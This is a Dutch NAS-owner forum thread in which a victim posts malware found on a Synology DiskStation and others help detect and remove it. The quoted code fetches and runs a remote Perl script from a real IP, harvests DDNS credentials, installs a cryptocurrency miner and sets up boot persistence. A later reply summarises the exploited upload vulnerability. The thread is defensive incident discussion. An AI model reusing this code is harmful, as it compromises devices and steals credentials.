Auteur Topic: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!  (gelezen 9246 keer)

Offline jsahoka

  • Bedankjes
  • -Gegeven: 0
  • -Ontvangen: 0
  • Berichten: 4
Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Gepost op: 10 februari 2014, 10:41:06 »
Hallo,

Ik log in op mijn DS en ik zie ineens een map Startup
In de map startup staat een bestand : S22DiskStation met de volgende inhoud :

Citaat
#!/bin/sh
#
#
# Stop myself if running
PIDFILE=/var/run/DiskStation.pid
#
start() {
 nohup /usr/syno/bin/curl http://83.170.113.14:8080/browser/start.pl | perl -- &
 # write pidfile
 echo $! > $PIDFILE
 echo "Optware startup myscript"
}
#
stop() {
 [ -f ${PIDFILE} ] && kill -9  0
 # remove pidfile
 rm -f $PIDFILE
 echo "Optware shutdown myscript"
}
#
case "$1" in
       start)
               start
       ;;
       stop)
               stop
       ;;
       restart)
               stop
               sleep 1
               start
       ;;
       *)
               echo "Usage: $0 (start|stop|restart)"
               exit 1
       ;;
esac
# End   

de inhoud van http://83.170.113.14:8080/browser/start.pl is :

Citaat
#!/usr/bin/perl

use Carp;
require Exporter;
require DynaLoader;
require 5.006;

my $hostname = `hostname | xargs echo -n`;      # bot will get here machine name
my $name   = getlogin."\@".$hostname;

my $a1 = `df -B G > /tmp/.mysql.socket1`;
my $a2 = `cat /tmp/.mysql.socket1 | awk '{print \$2}' > /tmp/.mysql.socket2`;
my $a3 = `cat /tmp/.mysql.socket2 | tr -d "G " > /tmp/.mysql.socket3`;
my $diskspace = `cat /tmp/.mysql.socket3 | sort -n | tail -n 1 | xargs echo -n`;
# my $diskspace = `df -B G | awk '{print \ $2}' | tr -d "G " | sort -n | tail -n 1`;
############################################################
@passes = ();
sub gcc(){
  my $cmd=`gcc --version`;
  return 1 if $cmd=~/Free Software Foundation/;
  return;
}
sub os()   { $val=`uname -s`;return $val if $val=~s/\n//g; }
sub ddns()   {
  my ($username,$hostname,$passwd);
  my $val=`cat /etc/ddns.conf`;
  $username = $1 if ($val =~/username=(.+)\n/g);
  $hostname = $1 if ($val =~/hostname=(.*)\n/g);
  $passwd = $1 if ($val =~/passwd=(.+)\n/g);
  return "Nothing found" if !($passwd =~/\w/);
  print "   DDNS Creds:"."$hostname\t$username:$passwd"."\n";
  push(@passes,$passwd);
  return $passwd;

}
sub arc()  { $val=`uname -m`;return $val if $val=~s/\n//g; }
sub node() { $val=`uname -n`;return $val if $val=~s/\n//g; }
sub memTotal()  { $val=`cat /proc/meminfo | grep MemTotal`; $val = ($1/1024) if $val=~/(\d+) kB/ig; return sprintf("%.0f",$val); }
sub memFree()  { $val=`cat /proc/meminfo | grep MemFree`; $val = ($1/1024) if $val=~/(\d+) kB/ig; return sprintf("%.0f",$val); }
sub uptime() { $val=`uptime | cut -d "," -f 1 | cut -d " " -f 4-`;chomp($val);return $val}
sub lang() { $val=`echo $LANG`;return $val if $val=~s/(\w+)_.*/$1/g; }
sub nmap(){ $val=`nmap --version`;return $1 if $val=~/Nmap version (\d\.\d+)/;}
sub pwnam(){    ($name, $pass, $uid, $gid, $quota, $comment, $gcos, $dir, $shell, $expire) = getpwnam($ENV{'USER'}); $val=$_[0] if $_[0]; return $$val if $_[0];}
sub ifRoot(){ return 1 if &pwnam('uid') == 0; }
sub cpu(){ $c=`awk -F": " '/cpu MHz\ */ { print $2 }' /proc/cpuinfo`;chomp($c);return $c;}
sub status(){
   print "--".&os."/".&arc."------".&node."----".&memTotal."MB----\n";
   print "   ".$ENV{'USER'}." (".&pwnam('uid').") - Up since ".&uptime." Days\n";
   print "   Total (Global) HDD Space:\t$diskspace GB\n\n";
   &ddns();
#    &whois();
#     system('curl -s dazzlepod.com/ip/me.json | sed -n "s/,/\n/pg"');
    system('curl -s dazzlepod.com/ip/me.json');

#   print @passes;
   print "\n\n--".&os."/".&arc."------".&node."----".&memTotal."MB----\n\n";
}

my $servconf = <<'EOF';   
#!/bin/sh
#
#
# Stop myself if running
PIDFILE=/var/run/DiskStation.pid
#
start() {
 nohup /usr/syno/bin/curl http://83.170.113.14:8080/browser/start.pl | perl -- &
 # write pidfile
 echo $! > $PIDFILE
 echo "Optware startup myscript"
}
#
stop() {
 [ -f ${PIDFILE} ] && kill -9  0
 # remove pidfile
 rm -f $PIDFILE
 echo "Optware shutdown myscript"
}
#
case "$1" in
       start)
               start
       ;;
       stop)
               stop
       ;;
       restart)
               stop
               sleep 1
               start
       ;;
       *)
               echo "Usage: $0 (start|stop|restart)"
               exit 1
       ;;
esac
# End   
EOF

sub whois(){
  my $cmd =~'curl -s dazzlepod.com/ip/me.json | sed -n "s/,/\n/pg"';
  my $data = `$cmd`;
  print $data."\n";
  foreach(split($data,/,/)){
    print "$_\n";
  }
}
sub kernelversion(){
  $kernel=`uname -r`;
  my $kver = $1 if $kernel=~/([2-3]\.\d+\.\d+-\d+)/;
  return $kver if !$_[0];

  if ($kver=~/([2-3])\.(\d+)\.(\d+)/) {
    $Kmain = $1; $Ksub = $2; $KSsub = $3;
  }

  if( $_[0] =~/^([2-3])\.(\d+)\.(\d+)$/ ) {
  #  print "[1] $1 => $Kmain\n";
    return if $1 < $Kmain;
  #  print "[2] $2 <= $Ksub\n";
    return if $2 > $Ksub;
  #  print "[3] $3 <= $KSsub\n";
    return if $3 < $KSsub;
  }

  return 1;
  print "Looks OK! $kver- $_[0]\n";

}

sub procusage() { @arr = split(/, /,`top -b -n 1 | grep Tasks`); return "$arr[0] $arr[1]"; }
sub netstats() {
   $val = `netstats`;chomp($val);@arr=split(/\n/,$val);
   return "[$arr[0]]-[$arr[1]]";
}

sub gb(){
  my $arg = ($_[0]/1024);#kb
  return sprintf("%.0f",($arg/1024));
}

sub w2f(){
  my $file = shift;
  my $string = shift;

  open(FILE,">./$file") || die("ERROR, no write acces?");
    print FILE $string;
  close(FILE);
}


sub getCrons(){
   my $cmd = 'for USER in `cut -d ":" -f1 </etc/passwd`; do crontab -u ${USER} -l 1>/dev/null 2>&1; if [ ! ${?} -ne 0 ]; then echo -en "--- crontab for ${USER} ---\n$(crontab -u ${USER} -l)\n"; fi; done';
   my $test = `$cmd`;
   return $test;
};

sub checkProcName(){
    my $search = $_[0];
    my $strip = $_[1] if ($_[1]);
    my $psl = `ps w`;
    my $ret;
    foreach(split(/\n/,$psl)) {
      next if !($_ =~/$search/i);
      next if ( ($strip != "") && ($_ =~/$strip/i ));
      $ret .= $_."\n";
    }
    return ($ret);
}
status();

my $base = 'http://83.170.113.14:8080/browser/';
my $arch = `uname -m`; $arch =~s/\n//g;
my $filename = "https_$arch";
my $url = "$base$filename";
my $conf = "$base$arch.cfg";
my $list = &checkProcName("/sbin/syslog-ng --module-path=/lib/syslogmod --pidfile=/var/run/syslogng.pid","cfg");
my @arr = split(/\n/,$list);

my $threads = 6;
$threads = "2" if $arch=~/arm/;
$threads = "16" if $arch=~/x86_64/;
$threads = "8" if $arch=~/i686/;
my $int = int(rand(10));

if(-f "/usr/bin/$filename"){
    print "File allready found\n";
    system("rm /usr/bin/$filename");
}

    print "$url\n";
    my $cmd = "wget -O /usr/bin/$filename$int $url";
    system($cmd);
    if (-f "/usr/bin/$filename$int"){
        print "Write $filename success\n";
    }else {
        print "[ERROR] Writing $filename with curl!\n";
        exit 1;
    }

`chmod +x /usr/bin/$filename$int`;
`killall -9 $filename`;
`killall -9 pns minerd synodns`;
my $start = "/usr/bin/$filename$int -B";

if($arch=~/x86_64/) {
    my $cmd = "wget -O /etc/$arch.cfg $conf";
    system($cmd);
    if (-f "/etc/$arch.cfg"){
        print "Write config success\n";
    }else {
        print "[ERROR] Writing config with curl!\n";
        exit 1;
    }
   $start .= " -c /etc/$arch.cfg";
}


print "$start\n";

  if(scalar(@arr) != 0) {
    print "looks like our miner runs: ".scalar(@arr)." times\n";
    `killall -9 $filename`;
  }
  print "[X] Start Miner $ENV{'SERVER_NAME'} $ENV{'HOSTNAME'}\n";
  system($start);


system('killall -9 PWNEDb;killall -9 PWNEDm;killall -9 PWNEDb;killall -9 PWNEDm;killall -9 PWNEDb;killall -9 PWNEDm;killall -9 PWNEDb;killall -9 PWNEDm');

if (-d "/volume1"){
    print "Looks like Synology system\n";
    system("mkdir /volume1/startup") if !(-d "/volume1/startup");
    if (-f "/volume1/startup/S22DiskStation"){
   print "Allready exist\n";
    }else {
#    $servconf =~ s/STARTLINE/$start/g;
   #print $servconf."\n";
   open(FILE,">/volume1/startup/S22DiskStation");
       print FILE $servconf;
   close(FILE);
   system("chmod +x /volume1/startup/S22DiskStation");
   exit 1;
   }
}

# print $list."\n";
# foreach(@list){
#   print "$_\n";
# }
exit;
# print "$url";
#
# system("wget -O ./tmp-w $url");


#my $crons = getCrons();
#print $crons."\n\n";

exit 1;

volgens mij is dit verdomme gewoon een bitcoin-miner die op mijn NAS draait.

Iemand enig idee ?

Ik draai alleen Officiele apps, apps van synocummunity en de apps van http://packages.pcloadletter.co.uk om Crashplan te draaien.
Ik baal hier flink van.
  • Mijn Synology: ds212+
  • HDD's: 2* ST3000DM001

Offline jsahoka

  • Bedankjes
  • -Gegeven: 0
  • -Ontvangen: 0
  • Berichten: 4
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #1 Gepost op: 10 februari 2014, 11:25:37 »
http://forum.synology.com/enu/viewtopic.php?f=19&t=80857

Hier nog meer mensen met hetzelfde probleem.
  • Mijn Synology: ds212+
  • HDD's: 2* ST3000DM001

Offline buzzke

  • MVP
  • *
  • Bedankjes
  • -Gegeven: 11
  • -Ontvangen: 55
  • Berichten: 356
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #2 Gepost op: 10 februari 2014, 22:44:26 »
best iedereen eens via telnet of winscp inloggen en via command 'top' kijken of er geen ./PWNEd applicaties draaien op je nas
  • Mijn Synology: 713+/210J
  • HDD's: 4XWD30EZRX
  • Extra's: 2G Ram

Offline Birdy

  • Global Moderator
  • MVP
  • *
  • Bedankjes
  • -Gegeven: 1399
  • -Ontvangen: 8046
  • Berichten: 44.171
  • Fijne feestdagen.......
    • Truebase
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #3 Gepost op: 10 februari 2014, 22:50:34 »
OF:
ps |grep PWNEd


CS406      DSM 2.0-0731    DS508      DSM 4.0-2265      DS411+II  DSM 6.2.4-25556-8   DS115J    DSM 7.1.1-42962-5   DS918+    DSM 6.2.4-25556-8
DS107+     DSM 3.1-1639    DS411slim  DSM 6.2.4-25556   DS213J    DSM 6.2.4-25556-7   DS1515+   DSM 6.2.4-25556-8   DS220+    DSM 7.2.2-72806-2
DS107+     DSM 3.1-1639    DS111      DSM 5.2-5967-9    DS413J    DSM 6.2.3-25426-2   DS716+II  DSM 7.2.2-72806-2   RT2600ac  SRM 1.3.1-9346-12
BeeDrive   1TB             BeeServer  BSM 1.2-65567                                                                 MR2200ac  SRM 1.3.1-9346-12

Offline sanderl

  • Bedankjes
  • -Gegeven: 0
  • -Ontvangen: 0
  • Berichten: 8
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #4 Gepost op: 11 februari 2014, 09:31:00 »
Ok... ik zie 28888 admin 4064 S grep PwNEd

Ben ik nu gehacked?

Offline Rivak

  • Bedankjes
  • -Gegeven: 10
  • -Ontvangen: 4
  • Berichten: 65
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #5 Gepost op: 11 februari 2014, 09:55:56 »
Ben ik ook benieuwd naar.
Hier ook nl hetzelfde resultaat op de cijfers na  :o
  • Mijn Synology: DS412+
  • HDD's: 4 x WD30EFRX
  • Extra's: 2048MB Geheugen

Offline Birdy

  • Global Moderator
  • MVP
  • *
  • Bedankjes
  • -Gegeven: 1399
  • -Ontvangen: 8046
  • Berichten: 44.171
  • Fijne feestdagen.......
    • Truebase
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #6 Gepost op: 11 februari 2014, 11:03:39 »
Sorry....even een misverstand wegwerken.

Als je "ps |grep PWNEd"
en je krijgt het volgende te zien (root of admin, ligt er aan hoe je bent ingelogd):
Citaat
DS111> ps |grep PWNEd
 8308 root      4228 S    grep PWNEd       <<<<dit is jouw zoek process
dan zie je dus het proces van jezelf dus draait PWNEd niet en ben je dus niet gehacked.

Als het process wel draait, dan zou het er ongeveer zo uit moeten zien:
Citaat
DS111> ps |grep PWNEd
 8295 root      4228 S    grep PWNEd       <<<<dit is jouw zoek process
 4221 root      4344 S    ./PWNEd             <<<<dit is dus het process die gevonden is, en draait, dus gehacked.



CS406      DSM 2.0-0731    DS508      DSM 4.0-2265      DS411+II  DSM 6.2.4-25556-8   DS115J    DSM 7.1.1-42962-5   DS918+    DSM 6.2.4-25556-8
DS107+     DSM 3.1-1639    DS411slim  DSM 6.2.4-25556   DS213J    DSM 6.2.4-25556-7   DS1515+   DSM 6.2.4-25556-8   DS220+    DSM 7.2.2-72806-2
DS107+     DSM 3.1-1639    DS111      DSM 5.2-5967-9    DS413J    DSM 6.2.3-25426-2   DS716+II  DSM 7.2.2-72806-2   RT2600ac  SRM 1.3.1-9346-12
BeeDrive   1TB             BeeServer  BSM 1.2-65567                                                                 MR2200ac  SRM 1.3.1-9346-12

Offline Rivak

  • Bedankjes
  • -Gegeven: 10
  • -Ontvangen: 4
  • Berichten: 65
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #7 Gepost op: 11 februari 2014, 12:08:28 »
Ah, duidelijk... bedankt.
  • Mijn Synology: DS412+
  • HDD's: 4 x WD30EFRX
  • Extra's: 2048MB Geheugen

Offline henkg

  • MVP
  • *
  • Bedankjes
  • -Gegeven: 20
  • -Ontvangen: 157
  • Berichten: 735
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #8 Gepost op: 12 februari 2014, 07:57:34 »
Wat ik nergens kan vinden:
Wat is het veiligheidsrisico van minerd / pwned? (op CPU load en mogelijke ontoegankelijkheid van DS na).
Zijn bijvoorbeeld mijn bestanden veilig?
DS920+. 4x WD40EFRX. SHR. Btfrs
DS412+. 4x WD40EFRX, SHR, Btfrs (backup)
DS210J, 2x WD40EFRX, SHR, Ext4 (buiten gebruik)
Windows 10, Router EPC3940. Switch TP-Link TL-SG1008D Mede8er MED600X3D, UPS APC BX950MI-GR. HUMAX5200c

Offline hansiedown

  • MVP
  • *
  • Bedankjes
  • -Gegeven: 14
  • -Ontvangen: 100
  • Berichten: 438
    • mijnweetjes
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #9 Gepost op: 12 februari 2014, 09:06:41 »
ff een beetje spuurwerk. in de code staat een ip adres;
http://83.170.113.14:8080/browser/'
Volgens www.kloth.net zijn hierover de volgende gegevens bekend:
Non-authoritative answer:
 14.113.170.83.in-addr.arpa   name = server52013.uk2net.com

Server Name: SERVER52013.UK2NET.COM
   IP Address: 83.170.113.14
   Registrar: TUCOWS DOMAINS INC.

Query location data for 83.170.113.14 from www.hostip.info:

Country: UNITED KINGDOM (GB)
City: London

Zou ook in ieder geval dit ip number op de blacklist zetten van je Synology.
  • Mijn Synology: DS1621+
  • HDD's: 6 x WD40EFZX
  • Extra's: 4Gb

Offline keesdek

  • Bedankjes
  • -Gegeven: 1
  • -Ontvangen: 3
  • Berichten: 16
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #10 Gepost op: 14 februari 2014, 15:58:02 »
Er is kort geleden een DSM 4.3 update uitgebracht. Uit de release notes blijkt, dat malware wordt verwijderd en dat het systeem 'gerepareerd' wordt.

http://www.synology.com/en-global/releaseNote/model/DS212+

Waarschijnlijk is dit wat je zoekt...
  • Mijn Synology: DS1815+

Offline Leader98

  • Bedankjes
  • -Gegeven: 6
  • -Ontvangen: 6
  • Berichten: 42
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #11 Gepost op: 14 februari 2014, 16:54:28 »
Ik had 3x DCHP.PID services lopen die samen 100% CPU belasting vormden op de DS213+.

4.3-3827 update geinstalleerd.
Syno gereboot.

Alles is weer normaal.
Ben wel benieuwd of nu alle rotzooi echt weg is...
  • Mijn Synology: DS213+
  • HDD's: 2x 3TB ST3000DM001
  • Extra's: DS213 + 1x 3TB ST300
DS213+ met DS213 als offsite backup

Offline Jazz

  • Bedankjes
  • -Gegeven: 3
  • -Ontvangen: 5
  • Berichten: 29
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #12 Gepost op: 17 februari 2014, 09:34:53 »
Mmh, ik ben waarschijnlijk ook de klos. Ik heb inmiddels alle bestanden die verdacht zijn verwijderd. Wat ik me afvraag, hoe komen die lui binnen? Gewoon door op iedere poort te rammelen of bv via phpadmin? iemand een idee?


Offline Leader98

  • Bedankjes
  • -Gegeven: 6
  • -Ontvangen: 6
  • Berichten: 42
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #13 Gepost op: 17 februari 2014, 13:05:47 »
Hier staat meer info over hoe de malware is geinstalleerd op de DS:
http://www.kb.cert.org/vuls/id/615910

Synology DiskStation Manager versions 4.3-3776-3 and below allow a remote unauthenticated user to append arbitrary data to files on the system under root privileges. According to Synology:

Synology File Station in DSM employs a technique called "Slice Upload" to upload files when the file size is over 4GB [in the] Firefox browser. Since this feature is implemented in DSM4.0, all versions of DSM after DSM4.0 are subject to this vulnerability.
 To exploit this vulnerability, an attacker needs to send a specially crafted HTTP POST request to /webman/imageSelector.cgi containing the header fields X-TYPE-NAME: SLICEUPLOAD and X-TMP-FILE with the valid path of the file to append malicious code or data.
  • Mijn Synology: DS213+
  • HDD's: 2x 3TB ST3000DM001
  • Extra's: DS213 + 1x 3TB ST300
DS213+ met DS213 als offsite backup

Offline dirk2011

  • Bedankjes
  • -Gegeven: 7
  • -Ontvangen: 14
  • Berichten: 106
Re: Mijn DS212+ lijkt geinfecteerd met een virus!! Help?!
« Reactie #14 Gepost op: 17 februari 2014, 22:07:45 »
Vandaag een e-mail van synology. Als de sodemieter maar de update uitgevoerd.

Begrijp ik het goed, het is een bug in apache?
  • Mijn Synology: DS413
  • HDD's: 4 x WD30EZRX


 

kan mijn video's niet afspelen

Gestart door Dr.BenBoard Video Station

Reacties: 2
Gelezen: 4901
Laatste bericht 12 oktober 2017, 15:11:41
door Ben(V)
De NAS herkent mijn docking station niet met HD

Gestart door chrisssj3Board Externe harddisks en Printers

Reacties: 15
Gelezen: 3949
Laatste bericht 12 juni 2018, 19:42:13
door Hofstede
Mijn domeinnaam is niet meer bereikbaar

Gestart door etrok50Board DDNS / Quick Connect / EZ-Internet / Portforwarding

Reacties: 9
Gelezen: 4069
Laatste bericht 11 augustus 2013, 13:31:48
door Robert Koopman
Hoe kan ik personen toegang geven tot bestanden op mijn NAS

Gestart door rkbredaBoard WebDav

Reacties: 7
Gelezen: 6951
Laatste bericht 12 december 2013, 22:07:34
door Briolet
Speelt mijn films niet meer af

Gestart door paul2112Board Media Server (UPNP/DLNA)

Reacties: 3
Gelezen: 2583
Laatste bericht 28 september 2011, 10:37:59
door Matr1x